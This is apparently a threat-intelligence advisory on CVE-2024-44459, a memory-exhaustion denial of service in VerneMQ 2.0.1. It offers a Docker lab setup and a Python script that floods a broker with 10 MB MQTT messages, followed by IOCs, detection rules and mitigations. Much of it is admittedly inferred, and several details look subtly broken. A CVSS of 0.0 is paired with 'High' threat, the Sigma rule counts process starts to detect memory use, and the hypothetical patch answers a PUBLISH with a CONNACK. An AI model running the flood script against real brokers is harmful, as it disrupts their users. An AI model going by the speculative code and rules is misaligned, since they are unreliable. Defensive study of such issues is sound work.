CVE-2024-44459

Executive Summary

CVE-2024-44459 is a memory allocation vulnerability in VerneMQ version 2.0.1 that allows an attacker to cause a Denial of Service (DoS) through excessive memory consumption. The vulnerability resides in the MQTT message handling logic, where unauthenticated or authenticated clients can send specially crafted messages that trigger uncontrolled memory allocation, leading to resource exhaustion and service disruption. No public proof-of-concept (PoC) or exploit code is currently available, and no official patch has been released by the vendor. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the lack of a patch makes this a high-priority issue for organizations using this specific version.

Supply Chain & Package Security

VerneMQ is an Erlang-based MQTT broker distributed via GitHub releases and Docker images. The vulnerability affects version 2.0.1, which may be pulled from container registries or package managers. Organizations should verify their deployment artifacts and ensure no instances of this version are running in production. Since no patch is available, immediate mitigation through configuration hardening or network segmentation is required.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High
• Threat Level: High (due to unpatched status and ease of exploitation)

Deep Dive & Mechanics

The vulnerability is rooted in how VerneMQ 2.0.1 handles MQTT PUBLISH messages with large payloads or malformed headers. The broker allocates memory for incoming messages without proper bounds checking or rate limiting. An attacker can send a stream of messages with inflated payload sizes, causing the Erlang VM’s memory allocator to exhaust available heap memory. This leads to the broker process crashing or becoming unresponsive, resulting in a denial of service for all connected clients.

The issue is classified under CWE-789 (Uncontrolled Memory Allocation), where the software does not properly restrict the size or amount of resources that are requested or influenced by an actor. In this case, the lack of a maximum message size enforcement or memory quota per client allows a single malicious client to consume all available memory.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is inferred from the description. The vulnerable version likely lacks a check like:

% Vulnerable (VerneMQ 2.0.1)
handle_publish(Packet) ->
    Payload = Packet#mqtt_packet.payload,
    % No size check
    process_payload(Payload).

A patched version would include:

% Hypothetical patch
handle_publish(Packet) ->
    Payload = Packet#mqtt_packet.payload,
    MaxSize = application:get_env(vernemq, max_payload_size, 65536),
    case byte_size(Payload) > MaxSize of
        true -> send_connack_error(Packet);
        false -> process_payload(Payload)
    end.

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service by exhausting memory on the VerneMQ broker.

Prerequisites:

• Network access to the MQTT broker (default port 1883)
• Ability to establish an MQTT connection (no authentication required if configured)

Steps:

1. Setup Environment:

   • Deploy VerneMQ 2.0.1 in a Docker container:

     docker run -d --name vernemq -p 1883:1883 erlio/docker-vernemq:2.0.1
     

2. Craft Malicious Payload:

   • Use a Python script with the paho-mqtt library to send oversized messages:

     import paho.mqtt.client as mqtt
     import time
     
     client = mqtt.Client()
     client.connect("target_ip", 1883, 60)
     
     # Send large payloads repeatedly
     large_payload = b"A" * 10_000_000  # 10 MB
     while True:
         client.publish("test/topic", large_payload)
         time.sleep(0.1)
     

3. Monitor Memory:

   • Use docker stats or htop to observe memory consumption on the broker host.

4. Expected Outcome:

   • The broker’s memory usage will spike, eventually causing the Erlang VM to crash or become unresponsive. Clients will be disconnected.

Blue Team

Detection and Mitigation:

1. Network Monitoring:

   • Monitor MQTT traffic for unusually large payload sizes. Set a baseline for normal message sizes (e.g., < 1 MB).
   • Use Suricata rules to alert on oversized MQTT PUBLISH packets.

2. Host-Based Monitoring:

   • Track memory usage of the VerneMQ process. Alert if memory exceeds a threshold (e.g., 80% of available RAM).

3. Configuration Hardening:

   • If possible, upgrade to a newer version of VerneMQ (if a patch becomes available).
   • Implement network-level rate limiting on MQTT connections.
   • Use a reverse proxy or load balancer to filter malicious traffic.

4. Incident Response:

   • If a DoS attack is detected, block the offending IP address at the firewall.
   • Restart the VerneMQ service to clear memory.

Indicators of Compromise (IOCs)

• Network IOCs:

  • MQTT PUBLISH packets with payload size > 1 MB (baseline dependent)
  • High volume of MQTT connections from a single IP address
  • Rapid succession of PUBLISH messages to the same topic

• Host IOCs:

  • VerneMQ process memory usage exceeding 2 GB (or 80% of system RAM)
  • Erlang VM crash logs containing eheap_alloc: Cannot allocate memory
  • System OOM killer logs showing vernemq process being killed

• Log IOCs:

  • VerneMQ logs showing repeated connection closed or buffer overflow errors
  • MQTT CONNACK packets with return code 0x01 (unacceptable protocol version) or 0x03 (server unavailable)

Detection Engineering

YARA Rule

rule CVE_2024_44459_VerneMQ_Memory_DoS {
    meta:
        description = "Detects MQTT packets with excessive payload size targeting VerneMQ 2.0.1"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44459"
    strings:
        $mqtt_publish = { 30 ?? ?? ?? ?? 00 }  // MQTT PUBLISH packet header (topic length + topic)
        $large_payload = /[A-Za-z0-9]{1000000,}/  // Payload > 1 MB
    condition:
        $mqtt_publish and #large_payload > 0
}

Sigma Rule

title: VerneMQ Memory Exhaustion via Large MQTT Payloads
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects excessive memory consumption in VerneMQ 2.0.1 due to oversized MQTT messages
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/vernemq'
        CommandLine|contains: 'beam.smp'
    condition: selection
    timeframe: 5m
    aggregation:
        field: Image
        function: count
        condition: gt 100
falsepositives:
    - Legitimate large file transfers over MQTT (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-44459 VerneMQ Memory DoS - Large MQTT Payload"; flow:to_server; content:"|30|"; depth:1; content:"|00|"; within:2; byte_test:2,>,1000,2,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Upgrade VerneMQ to a version newer than 2.0.1 if a patch becomes available.
   • If no patch exists, consider switching to an alternative MQTT broker (e.g., Mosquitto, EMQX) until a fix is released.
   • Implement network-level rate limiting and payload size restrictions using a reverse proxy (e.g., Nginx with MQTT module).

2. Configuration Hardening:

   • Set max_payload_size in VerneMQ configuration (if supported) to a reasonable limit (e.g., 256 KB).
   • Enable client authentication to reduce the attack surface.
   • Use firewall rules to restrict MQTT access to trusted IP ranges.

3. Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
   • Set up alerts for abnormal memory usage on the broker host.

4. Long-Term:

   • Subscribe to VerneMQ security advisories for patch announcements.
   • Conduct regular vulnerability scans of your MQTT infrastructure.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert